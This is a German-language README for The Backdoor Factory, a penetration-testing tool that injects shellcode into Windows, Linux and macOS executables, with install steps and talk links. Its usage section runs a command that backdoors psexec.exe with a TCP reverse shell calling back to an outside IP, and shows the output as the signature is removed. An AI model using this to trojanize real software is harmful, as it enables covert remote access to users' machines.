Patch PE-, ELF- und Mach-O-Binärdateien mit Shellcode. Neue Version in Entwicklung, nur für Sponsoren verfügbar.
Die neue Version von BACKDOOR FACTORY ist verfügbar! Holen Sie sich Zugang hier: https://github.com/sponsors/secretsquirrel
Nur für Sicherheitsexperten und Forscher.
Das Ziel von BDF ist es, ausführbare Binärdateien mit vom Benutzer gewünschtem Shellcode zu patchen und die normale Ausführung des Zustands vor dem Patchen fortzusetzen.
Black Hat USA 2015:
Video: https://www.youtube.com/watch?v=OuyLzkG16Uk
Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf
Shmoocon 2015:
Video: https://archive.org/details/joshpitts_shmoocon2015
Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf
DerbyCon 2014:
Video: http://www.youtube.com/watch?v=LjUN9MACaTs
DerbyCon 2013:
Video: http://www.youtube.com/watch?v=jXLb2RNX5xs
Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U
Folien: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory
Kontaktieren Sie den Entwickler unter:
IRC:
irc.freenode.net #BDFactory
Twitter:
@midnite_runr
Unter einer BSD-3-Klausel-Lizenz
Siehe das Wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki
docker pull secretsquirrel/the-backdoor-factory
docker run -it secretsquirrel/the-backdoor-factory bash
# ./backdoor.py
#####Um OnionDuke zu verwenden, MÜSSEN Sie sich auf einer Intel-Maschine befinden, da aPLib noch keine Unterstützung für den ARM-Chipsatz hat.
Capstone engine kann von PyPi installiert werden mit:
sudo pip install capstone
Pefile, aktuellste Version:
https://code.google.com/p/pefile/
osslsigncode (im Repo enthalten):
http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/
Kali-Installation:
apt-get update
apt-get install backdoor-factory
Andere *NIX/MAC-INSTALLATION:
./install.sh
Dies installiert Capstone mit pip 3.01 und installiert pefile.
AKTUALISIERUNG:
./update.sh
Unterstützt:
Windows PE x86/x64, ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32),
und Mach-O x86/x64 sowie diese Formate in FAT-Dateien
Gepackte Dateien: PE UPX x86/x64
Experimentell: OpenBSD x32
Einige ausführbare Dateien haben eingebaute Schutzmechanismen, daher funktioniert dies nicht bei allen Binärdateien. Es wird empfohlen, Ziel-Binärdateien zu testen, bevor sie an Kunden ausgeliefert oder in Übungen verwendet werden. Ich bin kurz davor, NSIS zu umgehen, daher werden diese Prüfungen in Zukunft umgangen.
Vielen Dank an Ryan O'Neill --ryan 'at' codeslum <d ot> org--
Ohne ihn würde ich immer noch versuchen, dumme Dinge mit dem ELF-Format zu machen.
Auch danke an Silvio Cesare mit seinem Paper von 1998
(http://vxheaven.org/lib/vsc01.html), auf dem diese ELF-Patching-Techniken basieren.
./backdoor.py -h Verwendung: backdoor.py [Optionen]
Kann alle Codecaves in einer EXE/DLL finden.
Standardmäßig wird der Zeiger auf die PE-Zertifikatstabelle gelöscht, wodurch eine Binärdatei unsigniert wird.
Kann Shellcode in Codecaves oder in einen neuen Abschnitt injizieren.
Kann feststellen, ob eine PE-Binärdatei mit erhöhten Rechten ausgeführt werden muss.
Bei der Auswahl von Codecaves können Sie die folgenden Befehle verwenden:
-Jump (j), für Codecave-Sprünge
-Single (s), um den gesamten Shellcode in eine Cave zu patchen
-Append (a), um eine Codecave zu erstellen
-Ignore (i oder q), ignorieren, diese Binärdatei überspringen
Kann DLLs ignorieren
Import Table Patching
AutoPatching (-m automatic)
Onionduke (-m onionduke)
Erweitert das TEXT-SEGMENT um 1000 Bytes und injiziert Shellcode in diesen Codeabschnitt.
Patchen vor dem Text-Abschnitt und Entfernen der Signatur
Der Benutzer kann:
-Benutzerdefinierten Shellcode bereitstellen.
-Ein Verzeichnis mit ausführbaren Dateien/DLLs patchen.
-Nur x32- oder x64-Binärdateien zum Patchen auswählen.
-BDF in andere Python-Projekte einbinden, siehe pebin.py und elfbin.py
./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp
[*] Im Backdoor-Modul
[*] Überprüfe, ob Binärdatei unterstützt wird
[*] Sammle Dateiinformationen
[*] Lese Win32-Einstiegsanweisungen
[*] Suche nach und setze ausgewählten Shellcode
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Suche nach Caves, die die minimale Shellcode-Länge von 402 aufnehmen
[*] Alle Caves-Längen: (402,)
############################################################
Die folgenden Caves können verwendet werden, um Code zu injizieren und möglicherweise
die Ausführung fortzusetzen.
**Gefällt Ihnen nicht, was Sie sehen? Verwenden Sie jump, single, append oder ignore.**
############################################################
[*] Cave 1 Länge als int: 402
[*] Verfügbare Caves:
1. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2e4d5 Ende: 0x2e6d0; Cave-Größe: 507
2. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2e6e9 Ende: 0x2e8d5; Cave-Größe: 492
3. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2e8e3 Ende: 0x2ead8; Cave-Größe: 501
4. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2eaf1 Ende: 0x2ecdd; Cave-Größe: 492
5. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2ece7 Ende: 0x2eee0; Cave-Größe: 505
6. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2eef3 Ende: 0x2f0e5; Cave-Größe: 498
7. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2f0fb Ende: 0x2f2ea; Cave-Größe: 495
8. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2f2ff Ende: 0x2f4f8; Cave-Größe: 505
9. Abschnittsname: .data; Abschnittsbeginn: 0x2e400 Ende: 0x30600; Cave-Beginn: 0x2f571 Ende: 0x2f7a0; Cave-Größe: 559
10. Abschnittsname: .rsrc; Abschnittsbeginn: 0x30600 Ende: 0x5f200; Cave-Beginn: 0x5b239 Ende: 0x5b468; Cave-Größe: 559
**************************************************
[!] Geben Sie Ihre Auswahl ein: 5
Verwende Auswahl: 5
[*] Ändere Abschnittsflags
[*] Patche anfängliche Einstiegsanweisungen
[*] Erstelle Win32-Fortsetzungs-Ausführungs-Stub
[*] Überschreibe Zeiger auf Zertifikatstabelle
[*] psexec.exe Backdooring abgeschlossen
Datei psexec.exe befindet sich im Verzeichnis 'backdoored'